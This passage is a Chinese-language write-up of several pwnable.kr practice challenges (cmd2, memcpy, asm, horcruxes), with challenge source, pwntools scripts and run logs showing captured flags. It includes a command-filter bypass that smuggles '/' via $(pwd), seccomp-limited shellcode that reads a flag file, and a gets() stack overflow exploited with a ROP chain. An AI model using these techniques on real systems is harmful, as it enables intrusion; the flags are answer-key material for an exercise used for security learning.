cd /tmp/cmd2_test
ln -s /home/cmd2/flag test

切换到系统根目录,此时 pwd 命令的结果为 / 字符,可以借此绕过对 / 字符的限制。注意使用 ' 防止转义。

1
2
3
4
cmd2@ubuntu:/$ cd /
cmd2@ubuntu:/$ /home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)tmp$(pwd)cmd2_test$(pwd)test'
$(pwd)bin$(pwd)cat $(pwd)tmp$(pwd)cmd2_test$(pwd)test
Shell_variables_can_be_quite_fun_to_play_with!

memcpy

查看程序源码,完成内存分配函数的测试便可得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>

unsigned long long rdtsc(){
asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
int i;
for (i=0; i<len; i++) {
dest[i] = src[i];
}
return dest;
}

char* fast_memcpy(char* dest, const char* src, size_t len){
size_t i;
// 64-byte block fast copy
if(len >= 64){
i = len / 64;
len &= (64-1);
while(i-- > 0){
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
dest += 64;
src += 64;
}
}

// byte-to-byte slow copy
if(len) slow_memcpy(dest, src, len);
return dest;
}

int main(void){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Hey, I have a boring assignment for CS class.. :(\n");
printf("The assignment is simple.\n");

printf("-----------------------------------------------------\n");
printf("- What is the best implementation of memcpy? -\n");
printf("- 1. implement your own slow/fast version of memcpy -\n");
printf("- 2. compare them with various size of data -\n");
printf("- 3. conclude your experiment and submit report -\n");
printf("-----------------------------------------------------\n");

printf("This time, just help me out with my experiment and get flag\n");
printf("No fancy hacking, I promise :D\n");

unsigned long long t1, t2;
int e;
char* src;
char* dest;
unsigned int low, high;
unsigned int size;
// allocate memory
char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

size_t sizes[10];
int i=0;

// setup experiment parameters
for(e=4; e<14; e++){ // 2^13 = 8K
low = pow(2,e-1);
high = pow(2,e);
printf("specify the memcpy amount between %d ~ %d : ", low, high);
scanf("%d", &size);
if( size < low || size > high ){
printf("don't mess with the experiment.\n");
exit(0);
}
sizes[i++] = size;
}

sleep(1);
printf("ok, lets run the experiment with your configuration\n");
sleep(1);

// run experiment
for(i=0; i<10; i++){
size = sizes[i];
printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
dest = malloc( size );

memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
slow_memcpy(dest, src, size); // byte-to-byte memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);

memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
fast_memcpy(dest, src, size); // block-to-block memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
printf("\n");
}

printf("thanks for helping my experiment!\n");
printf("flag : [erased here. get it from server]\n");
return 0;
}

查看 readme 文件,需要通过 nc 0 9022 运行编译后的程序。

1
2
3
4
5
memcpy@ubuntu:~$ cat readme
the compiled binary of "memcpy.c" source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022.
execute the binary by connecting to daemon(nc 0 9022).

nc 0 2000 if service is down

程序在分配内存时,总是报错退出,无法成功完成测试。

1
2
3
4
5
6
experiment 4 : memcpy with buffer size 64
ellapsed CPU cycles for slow_memcpy : 2728
ellapsed CPU cycles for fast_memcpy : 410

experiment 5 : memcpy with buffer size 128
ellapsed CPU cycles for slow_memcpy : 5368

调试发现,程序在执行 movntps %%xmm0, (%1) 指令时发生错误。查询资料可知,指令 movntps 要求目的地址必须按 16 字节对齐,否则报错。

编写测试代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python2

from pwn import *
import math

target = remote('0.0.0.0', 9022)

for e in range(4, 15):
for size in range(int(math.pow(2, e-1)), int(math.pow(2, e))):
if (size + 4) % 16 == 0:
print target.recvuntil(': ') + str(size)
target.sendline(str(size))
break

print target.recvall()

target.close()

运行测试脚本,得到 flag 信息。

1
2
3
4
5
6
7
8
9
memcpy@ubuntu:/tmp/memcpy_test$ python2 get_flag.py
[+] Opening connection to 0.0.0.0 on port 9022: Done
....
experiment 10 : memcpy with buffer size 4108
ellapsed CPU cycles for slow_memcpy : 93750
ellapsed CPU cycles for fast_memcpy : 1804

thanks for helping my experiment!
flag : b0thers0m3_m3m0ry_4lignment

asm

查看程序源码,需要构造 shellcode 读取 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");

char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));

int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);

alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}

由于沙箱的限制,只能使用 open()read()write() 三个函数。

编写利用代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python2

from pwn import *

target = remote('0.0.0.0', 9026)
context(arch='amd64', os='linux')

shellcode = shellcraft.amd64.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.amd64.linux.open('rsp', 0, 0)
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 100)
shellcode += shellcraft.amd64.linux.write(1, 'rsp', 100)

print target.recvuntil('give me your x64 shellcode: ')
target.send(asm(shellcode))

print target.recvall()

target.close()

运行利用脚本,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
asm@ubuntu:/tmp/asm_test$ python2 get_flag.py
[+] Opening connection to 0.0.0.0 on port 9026: Done
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play 'asg' challenge :)
give me your x64 shellcode:
[+] Receiving all data: Done (100B)
[*] Closed connection to 0.0.0.0 port 9026
Mak1ng_5helLcodE_i5_veRy_eaSy
lease_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooo

horcruxes

查看程序伪代码可知,需要通过 sum 校验,才能得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int ropme()
{
char exp[100]; // [esp+4h] [ebp-74h] BYREF
int choice; // [esp+68h] [ebp-10h] BYREF
int fd; // [esp+6Ch] [ebp-Ch]

printf("Select Menu:");
__isoc99_scanf("%d", &choice);
getchar();
if ( choice == a )
{
A();
}
else if ( choice == b )
{
B();
}
else if ( choice == c )
{
C();
}
else if ( choice == d )
{
D();
}
else if ( choice == e )
{
E();
}
else if ( choice == f )
{
F();
}
else if ( choice == g )
{
G();
}
else
{
printf("How many EXP did you earned? : ");
gets(exp);
if ( atoi(exp) == sum )
{
fd = open("/home/horcruxes_pwn/flag", 0);
exp[read(fd, exp, 0x64u)] = 0;
puts(exp);
close(fd);
exit(0);
}
puts("You'd better get more experience to kill Voldemort");
}
return 0;
}

分析程序,发现存在栈溢出漏洞。

1
2
printf("How many EXP did you earned? : ");
gets(exp);

查看程序开启的保护机制,发现未开启任何保护机制,因此可以利用栈溢出漏洞,跳转到任意地址执行代码。

1
2
3
4
5
6
7
8
9
horcruxes@ubuntu:~$ checksec horcruxes
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/horcruxes/horcruxes'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8040000)
Stripped: No

查看 init_ABCDEFG() 函数,可知 sum 值由 7 个随机值相加而成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int init_ABCDEFG()
{
int result; // eax
unsigned int buf; // [esp+8h] [ebp-10h] BYREF
int fd; // [esp+Ch] [ebp-Ch]

fd = open("/dev/urandom", 0);
if ( read(fd, &buf, 4u) != 4 )
{
puts("/dev/urandom error");
exit(0);
}
close(fd);
srand(buf);
a = -559038737 * rand() % 0xCAFEBABE;
b = -559038737 * rand() % 0xCAFEBABE;
c = -559038737 * rand() % 0xCAFEBABE;
d = -559038737 * rand() % 0xCAFEBABE;
e = -559038737 * rand() % 0xCAFEBABE;
f = -559038737 * rand() % 0xCAFEBABE;
g = -559038737 * rand() % 0xCAFEBABE;
result = f + e + d + c + b + a + g;
sum = result;
return result;
}

查看 A() 函数,发现将打印 a 的值。其他几个函数同样会打印对应变量的值。

1
2
3
4
int A()
{
return printf("You found \"Tom Riddle's Diary\" (EXP +%d)\n", a);
}

通过栈溢出漏洞,可以依次执行 7 个打印随机值的函数,从而计算出正确的 sum 值。需要注意的是,经过测试发现无法直接跳转到读取 flag 文件的代码位置,可能存在某些地址保护。

编写利用代码,在计算 sum 值时,需要注意 int 类型数值溢出问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python2

from pwn import *

target = remote('0.0.0.0', 9032)

choice = '1'
print target.recvuntil('Select Menu:') + choice
target.sendline(choice)

exp = 'a' * 0x78
exp += p32(0x08041397)
exp += p32(0x08041365)
exp += p32(0x08041333)
exp += p32(0x08041301)
exp += p32(0x080412CF)
exp += p32(0x0804129D)
exp += p32(0x080413C9)
exp += p32(0x0804150B)
print target.recvuntil('How many EXP did you earned? : ')
target.sendline(exp)

sum = 0
for i in range(7):
display = target.recvuntil('EXP +')
num = int(target.recvuntil(')\n')[:-2])
sum = (num + sum) & 0xffffffff
print display + str(num) + ')'

if ((sum >> 31) == 1):
sum = -(sum & 0x7fffffff)
else:
sum = sum & 0x7fffffff

choice = '1'
print target.recvuntil('Select Menu:') + choice
target.sendline(choice)

print target.recvuntil('How many EXP did you earned? : ') + str(sum)
target.sendline(str(sum))

print target.recvall();

target.close()

运行脚本,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
horcruxes@ubuntu:/tmp/horcruxes_test$ python2 get_flag.py
[+] Opening connection to 0.0.0.0 on port 9032: Done
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and destroy it!

Select Menu:1
How many EXP did you earned? :
You'd better get more experience to kill Voldemort
You found "Nagini the Snake" (EXP +-2037650641)
You found "Rowena Ravenclaw's Diadem" (EXP +-1449513603)
You found "Salazar Slytherin's Locket" (EXP +537638325)
You found "Helga Hufflepuff's Cup" (EXP +266460613)
You found "Marvolo Gaunt's Ring" (EXP +830131297)
You found "Tom Riddle's Diary" (EXP +65439375)
You found "Harry Potter" (EXP +-1912371682)
Select Menu:1
How many EXP did you earned? : 595100980
[+] Receiving all data: Done (34B)
[*] Closed connection to 0.0.0.0 port 9032
The_M4gic_sp3l1_is_Avada_Ked4vra

参考链接

pwnable.kr